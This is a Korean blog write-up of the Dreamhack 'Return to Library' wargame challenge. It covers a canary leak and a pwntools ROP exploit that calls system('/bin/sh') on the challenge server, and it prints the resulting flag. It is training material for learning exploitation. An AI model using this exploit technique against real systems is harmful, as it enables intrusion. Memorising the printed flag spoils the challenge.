[Dreamhack] Return to Library

Sisyphus·2022년 7월 15일
0

문제 코드

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

보호 기법

 ⚡ root  ~/Downloads/dreamhack/Return_to_Library  checksec rtl
[*] '/root/Downloads/dreamhack/Return_to_Library/rtl'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Canary와 NX 보호 기법이 걸려있습니다.


코드 분석

char buf[0x30];

// Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

read함수로 buf~canary 거리 + 1 만큼 입력을 주어 canary 앞 '\x00'를 제거하면 printf 함수로 카나리를 출력하게 할 수 있습니다.

char buf[0x30];

// Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

read 함수로 buf에 0x30보다 훨씬 큰 0x100 크기의 입력을 받고 있기 때문에 버퍼 오버플로우 공격이 가능합니다.


스택 구조 파악

   0x0000000000400772 <+123>:   lea    rax,[rbp-0x40]	// rax = buf
   0x0000000000400776 <+127>:   mov    edx,0x100	// edx = 0x100
   0x000000000040077b <+132>:   mov    rsi,rax	// rsi = buf
   0x000000000040077e <+135>:   mov    edi,0x0	// edi = 0x0
   0x0000000000400783 <+140>:   call   0x4005f0 <read@plt>	// read(0, buf, 0x100)
   0x0000000000400788 <+145>:   lea    rax,[rbp-0x40]	// rax = buf
   0x000000000040078c <+149>:   mov    rsi,rax	// rsi = buf
   0x000000000040078f <+152>:   mov    edi,0x4008a3	// "Buf: %s\n"
   0x0000000000400794 <+157>:   mov    eax,0x0	// eax = 0
   0x0000000000400799 <+162>:   call   0x4005e0 <printf@plt>	// printf("Buf: %s\n", buf)


카나리 릭

buf ~ RBP 까지의 거리는 56 이기 때문에, 'A'를 57개 입력하면 카나리 앞의 '\x00'가 제거되어서 카나리 릭을 할 수 있습니다.


from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))

p = process("./rtl")
e = ELF("./rtl")

# [1] Leak Canary
buf2sfp = 0x40
buf2cnry = 0x40 - 0x8
payload = b'A'*(buf2cnry + 1)
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)

⚡ root  ~/Downloads/dreamhack/Return_to_Library  python3 leak.py
[+] Starting local process './rtl': pid 1906
[*] '/root/Downloads/dreamhack/Return_to_Library/rtl'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Canary: 0x5f75990c0859700
[*] Stopped process './rtl' (pid 1906)

익스플로잇

NX 방어기법이 활성화 되어 있기 때문에, Return to Library 기법으로 공격을 해보겠습니다.


페이로드


라이브러리

 ⚡ root  ~/Downloads/dreamhack/Return_to_Library  ldd rtl
        linux-vdso.so.1 (0x00007ffda9df4000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5ef712c000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f5ef731c000)

익스플로잇 코드

from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))

#context.log_level = 'debug'

p = remote("host3.dreamhack.games", 14235)
e = ELF("./rtl")
libc = e.libc
r = ROP(e)


# [0] Gathering Information
system_plt = e.symbols['system']
sh = next(e.search(b'/bin/sh'))
pop_rdi = r.find_gadget(['pop rdi'])[0]
ret = r.find_gadget(['ret'])[0]
slog("system@plt", system_plt)
slog("/bin/sh", sh)
slog("pop rdi", pop_rdi)
slog("ret", ret)


# [1] Leak Canary
buf2sfp = 0x40
buf2cnry = 0x40 - 0x8
payload = b'A'*(buf2cnry + 1)
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)


# [2] Exploit
payload = b'A' * buf2cnry
payload += p64(canary)
payload += b'B' * 8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(sh)
payload += p64(system_plt)

pause()
p.sendafter("Buf: ", payload)

p.interactive()

익스플로잇 코드를 실행을 해보면


 ion  ~/wargame/dreamhack/pwnable/Return_to_Library  python3 remote.py 2> /dev/null
[+] Opening connection to host3.dreamhack.games on port 14235: Done
[*] '/home/ion/wargame/dreamhack/pwnable/Return_to_Library/rtl'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 14 cached gadgets for './rtl'
[+] system@plt: 0x4005d0
[+] /bin/sh: 0x400874
[+] pop rdi: 0x400853
[+] ret: 0x400285
[+] Canary: 0xa8fe688299698200
[*] Paused (press any to continue)
[*] Switching to interactive mode
$

공격에 성공해서 쉘이 떳고


$ ls
flag
rtl
$ cat flag
DH{13e0d0ddf0c71c0ac4410687c11e6b00}

flag를 출력해보면 잘 출력됩니다.

0개의 댓글